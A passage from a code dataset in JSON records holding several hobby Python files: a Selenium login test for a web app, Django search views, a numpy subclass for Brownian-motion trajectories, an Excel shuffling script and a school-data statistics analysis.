"attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 134, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 135, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 135, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 140, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 189, "usage_type": "call"}, {"api_name": "utils.progress_bar", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 220, "usage_type": "call"}, {"api_name": "utils.progress_bar", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 266, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 266, "usage_type": "name"}, {"api_name": "torch.nn.DataParallel", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 302, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 309, "usage_type": "call"}]} {"seq_id": "36945766626", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author：albert time:2019/3/11\n# coding=utf-8\n'''\nCreated on 2018-10-28\n@author: Lee\nProject:使用unittest框架编写测试用例。使用pytest执行\n'''\nimport unittest,pytest,allure\nimport ddt\nfrom selenium import webdriver\nfrom time import sleep\nfrom Page_object.loginpage import Logintest\nfrom Page_object.read_excle import ExcelTest\nfrom Page_object.case_list import Case_mangage\nfrom Page_object.case_edit import Case_edit\nfrom Page_object.case_add import Case_add\nfrom Page_object.before import New_Before\nfrom Page_object.incall import in_Call\nfrom Page_object.doctor import Doctors\nfrom Logs.logs import Logger\nimport Obejct_config.config as cfg\nfrom Page_object.base_processed import Base_proce\nfrom Test_case.dc_reject import Case_state\nfrom Test_case.doc import HandleDoc\n\n# 测试数据\ndata = ExcelTest(cfg.ExcelTest.filePath, cfg.ExcelTest.sheetName)\ntestData = data.dict_data()\n# 实例化log\nlog = Logger(cfg.Logger.path,cfg.Logger.filename)\n\n@ddt.ddt\nclass Casejinhui120(unittest.TestCase):\n \"\"\"\n 登录金汇120的case\n \"\"\"\n @classmethod\n def setUpClass(cls):\n #初始化浏览器\n cls.driver = webdriver.Chrome()\n cls.driver.implicitly_wait(0)\n cls.url = cfg.HOME_URL\n cls.base=Base_proce(cls.driver, cls.url, u\"金汇\")\n cls.login_page = Logintest(cls.driver, cls.url, u\"金汇\")\n cls.case_page = Case_mangage(cls.driver, cls.url, u\"金汇\")\n cls.case_add = Case_add(cls.driver, cls.url, u\"金汇\")\n cls.case_edit = Case_edit(cls.driver, cls.url, u\"金汇\")\n cls.before = New_Before(cls.driver, cls.url, u\"金汇\")\n cls.call = in_Call(cls.driver, cls.url, u\"金汇\")\n cls.base=Base_proce(cls.driver, cls.url, u\"金汇\")\n cls.doctor=Doctors(cls.driver, cls.url, u\"金汇\")\n cls.Case = Case_state(cls.driver, cls.url, u\"金汇\")\n # 登录\n cls.login_page.open()\n cls.login_page.input_username(\"lishaoyang\")\n cls.login_page.input_password(123456)\n cls.login_page.input_passcode(6666)\n cls.login_page.button_submit()\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.quit()\n\n # 用例执行体\n # @allure.feature # 用于定义被测试的功能，被测产品的需求点\n # @allure.story # 用于定义被测功能的用户场景，即子功能点\n # with allure.step # 用于将一个测试用例，分成几个步骤在报告中输出\n # allure.attach # 用于向测试报告中输入一些附加的信息，通常是一些测试数据信息\n # @pytest.allure.step # 用于将一些通用的函数作为测试步骤输出到报告，调用此函数的地方会向报告中输出步骤\n\n\n # @ddt.data(*testData)\n # @allure.feature(\"工单流程\")\n # @allure.story(\"新建院前工单\")\n def test_sale_AA(self): #新建院前工单\n # with allure.step(\"进入案件新建院前\"):\n try:\n while True:\n #进入案件\n sleep(1)\n self.call.case_mages()\n sleep(1.5)\n self.case_page.do_cases()\n sleep(1)\n # self.case_edit.add_Before()\n #医务官处理信息\n sleep(2)\n self.call.processed_Order()\n sleep(2)\n self.Case.Refer_State(num=2)\n self.call.first_Order()\n sleep(2)\n\n except :\n self.base.get_shot()\n sl = HandleDoc()\n # sl.doc()\n sl.sendemail()\n print(\"test error\")\n\nif __name__ == \"__main__\":\n pytest.main(\"--html=test_report.html\")\n", "repo_name": "leesy1992/Page_Object", "sub_path": "Test_case/ps_test.py", "file_name": "ps_test.py", "file_ext": "py", "file_size_in_byte": 3722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "Page_object.read_excle.ExcelTest", "line_number": 29, "usage_type": "call"}, {"api_name": "Obejct_config.config.ExcelTest", "line_number": 29, "usage_type": "attribute"}, {"api_name": "Obejct_config.config", "line_number": 29, "usage_type": "name"}, {"api_name": "Logs.logs.Logger", "line_number": 32, "usage_type": "call"}, {"api_name": "Obejct_config.config.Logger", "line_number": 32, "usage_type": "attribute"}, {"api_name": "Obejct_config.config", "line_number": 32, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 35, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 42, "usage_type": "name"}, {"api_name": "Obejct_config.config.HOME_URL", "line_number": 44, "usage_type": "attribute"}, {"api_name": "Obejct_config.config", "line_number": 44, "usage_type": "name"}, {"api_name": "Page_object.base_processed.Base_proce", "line_number": 45, "usage_type": "call"}, {"api_name": "Page_object.loginpage.Logintest", "line_number": 46, "usage_type": "call"}, {"api_name": "Page_object.case_list.Case_mangage", "line_number": 47, "usage_type": "call"}, {"api_name": "Page_object.case_add.Case_add", "line_number": 48, "usage_type": "call"}, {"api_name": "Page_object.case_edit.Case_edit", "line_number": 49, "usage_type": "call"}, {"api_name": "Page_object.before.New_Before", "line_number": 50, "usage_type": "call"}, {"api_name": "Page_object.incall.in_Call", "line_number": 51, "usage_type": "call"}, {"api_name": "Page_object.base_processed.Base_proce", "line_number": 52, "usage_type": "call"}, {"api_name": "Page_object.doctor.Doctors", "line_number": 53, "usage_type": "call"}, {"api_name": "Test_case.dc_reject.Case_state", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 86, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 89, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 94, "usage_type": "call"}, {"api_name": "Test_case.doc.HandleDoc", "line_number": 98, "usage_type": "call"}, {"api_name": "ddt.ddt", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pytest.main", "line_number": 104, "usage_type": "call"}]} {"seq_id": "40510008629", "text": "from django.shortcuts import render, redirect\nfrom .models import Data, Genome_version, Publication, Genome\nfrom .search_helper import search_data, search_publications, search_genomes\nfrom django.urls import reverse\n\n\ndef home(request):\n\n context = {\n \"title\": \"Resources\",\n \"query\": None,\n \"data_hits\": \"\"\n }\n\n if request.method == \"POST\":\n\n\n query = request.POST.get(\"searchbar\") if request.POST.get(\"searchbar\") else None\n\n data_hits = len(search_data(query))\n publication_hits = len(search_publications(query))\n genome_hits = len(search_genomes(query))\n\n\n context.update(\n {\n \"query\": query, # will be passed on in a link to the sub resource page\n \"data_hits\": data_hits,\n \"publication_hits\": publication_hits,\n \"genome_hits\": genome_hits\n }\n )\n \n return render(request, \"resources/search.html\", context)\n\n\ndef data(request, query=None):\n\n if request.method == \"POST\":\n query = request.POST.get(\"searchbar\") if request.POST.get(\"searchbar\") else None\n clear = request.POST.get(\"clear-btn\")\n if not clear:\n return redirect('resources-data', query=query)\n else:\n return redirect('resources-data')\n\n if query:\n results = search_data(query)\n else:\n results = Data.objects.all()\n\n context = {\n \"title\": \"Sequencing data\",\n \"data\": results,\n \"query\": query\n }\n\n return render(request, \"resources/data_datatable.html\", context)\n\n\ndef publications(request, query=None):\n\n if request.method == \"POST\":\n\n query = request.POST.get(\"searchbar\") if request.POST.get(\"searchbar\") else None\n clear = request.POST.get(\"clear-btn\")\n if not clear:\n return redirect('resources-publications', query=query)\n else:\n return redirect('resources-publications')\n\n if query:\n results = search_publications(query)\n else:\n results = Publication.objects.all()\n\n context = {\n \"title\": \"Publications\",\n \"publications\": results,\n \"query\": query\n }\n return render(request, \"resources/publication_datatable.html\", context)\n\n\ndef genomes(request, query=None):\n\n if request.method == \"POST\":\n query = request.POST.get(\"searchbar\") if request.POST.get(\"searchbar\") else None\n clear = request.POST.get(\"clear-btn\")\n if not clear:\n return redirect('resources-genomes', query=query)\n else:\n return redirect('resources-genomes')\n\n\n if query:\n results = search_genomes(query)\n else:\n results = Genome.objects.all()\n\n context = {\n \"title\": \"Reference genomes\",\n \"genomes\": results, # replace data with genomes\n \"query\": query,\n \"versions\": Genome_version.objects.all().order_by('-date')\n }\n\n return render(request, \"resources/genome_datatable.html\", context)\n", "repo_name": "Hamleyburger/Django_FecobiomeInitiative", "sub_path": "resources/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2979, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "search_helper.search_data", "line_number": 20, "usage_type": "call"}, {"api_name": "search_helper.search_publications", "line_number": 21, "usage_type": "call"}, {"api_name": "search_helper.search_genomes", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 43, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 45, "usage_type": "call"}, {"api_name": "search_helper.search_data", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Data.objects.all", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Data.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.Data", "line_number": 50, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 70, "usage_type": "call"}, {"api_name": "search_helper.search_publications", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Publication.objects.all", "line_number": 75, "usage_type": "call"}, {"api_name": "models.Publication.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.Publication", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 82, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 91, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 93, "usage_type": "call"}, {"api_name": "search_helper.search_genomes", "line_number": 97, "usage_type": "call"}, {"api_name": "models.Genome.objects.all", "line_number": 99, "usage_type": "call"}, {"api_name": "models.Genome.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "models.Genome", "line_number": 99, "usage_type": "name"}, {"api_name": "models.Genome_version.objects.all", "line_number": 105, "usage_type": "call"}, {"api_name": "models.Genome_version.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Genome_version", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 108, "usage_type": "call"}]} {"seq_id": "34518149366", "text": "import numpy as np\nfrom typing import Union\nfrom scipy.io import loadmat\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom ConfinedBrownianAnalysis.Analyse import Dedrift\nimport pickle\n\ndef Load(filename):\n \"\"\" Simple function to load a pickled object \"\"\"\n with open(filename, 'rb') as handle:\n return pickle.load(handle)\n\nclass Data(np.ndarray):\n def __new__(cls, file: str, fps: int = 100, cutoff: int = -1):\n # Input array is an already formed ndarray instance\n # We first cast to be our class type\n cls.file = loadmat(file)\n initial_array = np.array([cls.file[\"x\"], cls.file[\"y\"], cls.file[\"z\"]])[\n :, 0, :cutoff\n ]\n obj = np.asarray(initial_array).view(cls)\n\n obj = obj.transpose()\n del cls.file\n return obj\n\n def __init__(\n self, file: str, fps: int = 100, cutoff: int = -1, dedrift_method=\"min_z\"\n ):\n\n self.fps = fps\n self.dt = 1 / fps\n\n\n # trajectory time\n self.time = np.arange(len(self.x)) / fps\n self._time = np.arange(len(self.x)) / fps\n\n @property\n def x(self):\n return self.__array__()[:,0]\n\n @property\n def y(self):\n return self.__array__()[:,1]\n\n @property\n def z(self):\n return self.__array__()[:,2]\n\n\n\n\n def plot_3D(self, N: int = 20, N_c: int = 500):\n \"\"\"\n Plot the trajectory in 3D, using N chunks of N_c points with a gradient of color indicating the time.\n \"\"\"\n plt.ioff()\n fig = plt.figure()\n plt.ion()\n ax = plt.axes(projection=\"3d\")\n\n cmap = plt.get_cmap(\"jet\")\n\n for i in range(N - 1):\n ax.plot(\n self.x[i * N_c : i * N_c + N_c],\n self.y[i * N_c : i * N_c + N_c],\n self.z[i * N_c : i * N_c + N_c],\n color=plt.cm.jet(1 * i / N),\n )\n\n ax = plt.gca()\n ax.ticklabel_format(style=\"sci\")\n\n norm = mpl.colors.Normalize(vmin=0, vmax=1)\n sm = plt.cm.ScalarMappable(cmap=cmap, norm=norm)\n sm.set_array([])\n\n plt.xlabel(\"$x$ ($\\mathrm{\\mu m}$)\")\n plt.ylabel(\"$y$ ($\\mathrm{\\mu m}$)\")\n ax.set_zlabel(\"$z$ ($\\mathrm{\\mu m}$)\")\n\n ticks_c = []\n for i in np.linspace(0, 1, 5):\n ticks_c.append(\"{:.0f}\".format(N * N_c * i / self.fps / 60))\n cbar = plt.colorbar(\n sm,\n ticks=np.linspace(0, 1, 5),\n format=\"%.1f\",\n shrink=0.5,\n orientation=\"vertical\",\n pad=0.2,\n )\n cbar.set_ticklabels(ticks_c)\n cbar.set_label(\"$t ~ \\mathrm{(s)}$\")\n plt.show()\n\n def plot_1D(self, axis: Union[str, int]):\n\n if axis not in [\"x\", \"y\", \"z\", 0, 1, 2]:\n raise ValueError(\n \"Please choose an axis in ['x', 'y', 'z'] or the numeric value [0, 1, 2]\"\n )\n\n axis_dict = {\"x\": 0, \"y\": 1, \"z\": 2}\n axis_dict_inverted = {\"0\": \"x\", \"1\": \"y\", \"2\": \"z\"}\n if type(axis) == str:\n axis = axis_dict[axis]\n\n plt.ioff()\n fig = plt.figure()\n plt.ion()\n\n plt.plot(self.time, self[:, axis])\n\n plt.xlabel(\"$t$ ($\\mathrm{s}$)\")\n plt.ylabel(\"$\" + axis_dict_inverted[str(axis)] + \"$\" + \"($~\\mathrm{\\mu m}$)\")\n plt.tight_layout()\n plt.show()\n\n def dedrift(self, method: str = \"min_z\", **kwargs):\n ded = Dedrift(self, method, **kwargs)\n self = ded.traj\n\n\n def clear(self):\n plt.close(\"all\")\n\n\n\n\n # Handeling the picke and slice of the array\n\n def __getitem__(self, subscript):\n \"\"\"\n Rewrite the slicing function __getitem__ so that it also slice\n self.time at the same time.\n \"\"\"\n if isinstance(subscript, slice):\n\n self.time = self._time.__getitem__(subscript)\n return super().__getitem__(subscript)\n\n return super().__getitem__(subscript)\n\n\n def __array_finalize__(self, obj):\n \"\"\"\n The behaviour when terminating the class, this also done when slicing or\n multiplying the array. For example, it permits to keep the attribute when slincing\n the Data class.\n \"\"\"\n # see InfoArray.__array_finalize__ for comments\n if obj is None:\n return\n\n self.fps = getattr(obj, \"fps\", None)\n self.time = getattr(obj, \"time\", None)\n self._time = getattr(obj, \"_time\", None)\n self.dt = getattr(obj, \"dt\", None)\n\n def __reduce__(self):\n \"\"\"\n np.ndarray uses __reduce__ to pickle itself, so we need to rewrite them in order to save new attributes.\n https://stackoverflow.com/questions/26598109/preserve-custom-attributes-when-pickling-subclass-of-numpy-array\n \"\"\"\n # Get the parent's __reduce__ tuple\n pickled_state = super().__reduce__()\n\n # Create our own tuple to pass to __setstate__\n new_state = pickled_state[2] + (self.fps,self.time, self._time, self.dt)\n # print(new_state)\n # Return a tuple that replaces the parent's __setstate__ tuple with our own\n return (pickled_state[0], pickled_state[1], new_state)\n\n def __setstate__(self, state):\n self.fps = state[-4] # Set the info attribute\n self.time = state[-3]\n self._time = state[-2]\n self.dt = state[-1]\n # Call the parent's __setstate__ with the other tuple elements.\n super(Data, self).__setstate__(state[0:-4])\n\n\n ### Saving with pickle ###\n\n def save(self, filename):\n with open(filename, \"wb\") as handle:\n b = pickle.dump(self, handle, protocol=pickle.HIGHEST_PROTOCOL)\n", "repo_name": "eXpensia/Confined_Brownian_Analysis", "sub_path": "ConfinedBrownianAnalysis/io/Data.py", "file_name": "Data.py", "file_ext": "py", "file_size_in_byte": 5668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pickle.load", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 14, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.jet", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 71, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.colors.Normalize", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 78, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "ConfinedBrownianAnalysis.Analyse.Dedrift", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 191, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 191, "usage_type": "attribute"}]} {"seq_id": "23552835051", "text": "import random\nimport xlsxwriter\n\n# Create a list of 210 random shuffled numbers between 1 and 210\nnumbers = list(range(1, 211))\nrandom.shuffle(numbers)\n\n# Create an Excel workbook and worksheet\nworkbook = xlsxwriter.Workbook('random_numbers.xlsx')\nworksheet = workbook.add_worksheet()\n\n# Set the row and column variables\nrow = 0\ncol = 0\n\n# Loop through the shuffled list and write each number to a new row in the second column of the Excel worksheet\nfor number in numbers:\n worksheet.write(row, col, \"\")\n worksheet.write(row, col + 1, number)\n row += 1\n\n# Close the workbook\nworkbook.close()\n", "repo_name": "FedericoMollica/IMPORT_CODES", "sub_path": "Excel_Random_Shuffle_Nr.py", "file_name": "Excel_Random_Shuffle_Nr.py", "file_ext": "py", "file_size_in_byte": 601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.shuffle", "line_number": 6, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 9, "usage_type": "call"}]} {"seq_id": "38455106587", "text": "\"\"\"\nCreated on Sat May 8 12:00:42 2021\n\"\"\"\nimport math\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nfrom statsmodels.formula.api import ols\nfrom sklearn import linear_model\nfrom sklearn.metrics import mean_squared_error, r2_score, accuracy_score\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nimport meow\n\ndf = pd.read_csv('middleSchoolData.csv', header=0)\n# cols = df.select_dtypes(exclude=['float']).columns\n# df[cols] = df[cols].apply(pd.to_numeric, downcast = 'float', errors='coerce')\n\n#%% Question 1\nplot1 = plt.figure(1)\nplt.scatter(df['applications'], df['acceptances'])\nplt.xlabel('application count')\nplt.ylabel('acceptances')\nacceptancecorr = df['applications'].corr(df['acceptances'], method='spearman')\nacceptancecorrpears = df['applications'].corr(df['acceptances'], method='pearson')\nacceptCOD = acceptancecorrpears ** 2\nplt.savefig('acceptanceApplicationsplot.png')\n\n####\n\n#%% Question 2\nregr = linear_model.LinearRegression()\nregr2 = linear_model.LinearRegression()\napplications = df['applications']\ndef rateConv(array, divArray):\n divide = divArray\n rates = []\n for index in range(divide.size):\n if((array[index] == 0) and divide[index] == 0):\n rates.append(float('nan'))\n else:\n rates.append((array[index] / divide[index]))\n return rates\napplicationRate = pd.Series(rateConv(applications, df['school_size']))\ndf['application_rate'] = pd.DataFrame(applicationRate)\ndfRate = df[['acceptances', 'application_rate']]\ndfAccept = df[['acceptances', 'applications']]\nratenotnans = []\nfor index, row in dfRate.iterrows():\n if(row.notnull().all()):\n ratenotnans.append([row[0], row[1]])\ndfRate = pd.DataFrame(ratenotnans)\nregr.fit(np.array(dfRate[1]).reshape(-1,1), dfRate[0])\nregrPreds = regr.predict(np.array(dfRate[1]).reshape(-1,1))\nprint(mean_squared_error(dfRate[0], regrPreds, squared=False))\nprint(regr.coef_)\nprint(r2_score(dfRate[0], regrPreds))\n\nregr2.fit(np.array(dfAccept['applications']).reshape(-1,1), dfAccept['acceptances'])\nregr2Preds = regr2.predict(np.array(dfAccept['applications']).reshape(-1,1))\nprint(mean_squared_error(dfAccept['acceptances'], regr2Preds, squared=False))\nprint(regr2.coef_)\nprint(r2_score(dfAccept['acceptances'], regr2Preds))\n\nappRatecorr = df['acceptances'].corr(applicationRate, method='spearman')\nappRatepears = df['acceptances'].corr(applicationRate, method='pearson')\n\nappRateCOD = appRatepears ** 2\nplot2 = plt.figure(2)\nplt.scatter(applicationRate, df['acceptances'])\nplt.xlabel('application rate')\nplt.ylabel('acceptances')\nplt.savefig('applicationRateplot.png')\n\n####\n\n#%% Question 3\nacceptRate = pd.Series(rateConv(df['acceptances'], df['applications']))\nstudentOdds = []\nfor index in range(acceptRate.size):\n prob = applicationRate[index] * acceptRate[index]\n if(not (math.isnan(prob))):\n studentOdds.append(prob / (1-prob))\n else:\n studentOdds.append(0)\ndf['student_odds'] = pd.DataFrame(studentOdds)\nplot3 = plt.figure(3)\nplt.bar(df.index.values.tolist(), height=pd.Series(studentOdds), width=5, tick_label=None)\nplt.xlabel('schools')\nplt.ylabel('odds')\nplt.savefig('acceptOddsplot.png')\nmaxOdds = df['student_odds'].idxmax()\n####\n\n#%% Question 4\ndfClimate = df[[\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust'\n ]]\n\ndfPerformance = df[[\n 'student_achievement',\n 'reading_scores_exceed',\n 'math_scores_exceed'\n ]]\n\ndef remNAN(mat):\n nans=[]\n for index, row in mat.iterrows():\n if(not (row.notnull().all())):\n nans.append(index)\n mat.drop(nans, inplace=True)\n \ndfBothCliPerf = pd.concat([dfClimate, dfPerformance], axis=1)\nremNAN(dfBothCliPerf)\ndfNoNANClim = dfBothCliPerf[[\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust'\n ]]\ndfNoNANPerf = dfBothCliPerf[[\n 'student_achievement',\n 'reading_scores_exceed',\n 'math_scores_exceed'\n ]]\ndfOnlyRatings = dfBothCliPerf[[\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust',\n 'student_achievement'\n ]]\n\ncorrelationMat = dfBothCliPerf.corr(method='pearson')\nzscored = sp.stats.zscore(dfBothCliPerf)\npca = PCA()\npca.fit(zscored)\neigVals = pca.explained_variance_\nloadings = pca.components_\nrotatedData = pca.fit_transform(zscored)\ncovarExplained = eigVals/sum(eigVals)*100\n\nzscored2 = sp.stats.zscore(dfNoNANPerf)\npca2 = PCA()\npca2.fit(zscored2)\neigVals2 = pca2.explained_variance_\nloadings2 = pca2.components_\nrotatedData2 = pca2.fit_transform(zscored2)\ncovarExplained2 = eigVals2/sum(eigVals2)*100\n\nzscored3 = sp.stats.zscore(dfNoNANClim)\npca3 = PCA()\npca3.fit(zscored3)\neigVals3 = pca3.explained_variance_\nloadings3 = pca3.components_\nrotatedData3 = pca3.fit_transform(zscored3)\ncovarExplained3 = eigVals3/sum(eigVals3)*100\n\ncorrelationComps = np.corrcoef(rotatedData2[:,0], rotatedData3[:,0])\n\nzscored4 = sp.stats.zscore(dfOnlyRatings)\npca4 = PCA()\npca4.fit(zscored4)\neigVals4 = pca4.explained_variance_\nloadings4 = pca4.components_\nrotatedData4 = pca4.fit_transform(zscored4)\ncovarExplained4 = eigVals4/sum(eigVals4)*100\ncorrelationMatRatings = dfOnlyRatings.corr(method='pearson')\n\nplot4 = plt.figure(4)\nplt.imshow(correlationMat, aspect='auto')\nplt.colorbar()\n\n# plot5 = plt.figure(5)\n# numClasses = 9\n# plt.bar(np.linspace(0,8, 9), height=eigVals)\n# plt.xlabel('Principal component')\n# plt.ylabel('Eigenvalue')\n# plt.plot([0,numClasses],[1,1],color='red',linewidth=1)\n\nplot6 = plt.figure(6)\nnumClasses2 = 6\nplt.bar(np.linspace(0,5,6), height=eigVals3)\nplt.xlabel('Principal 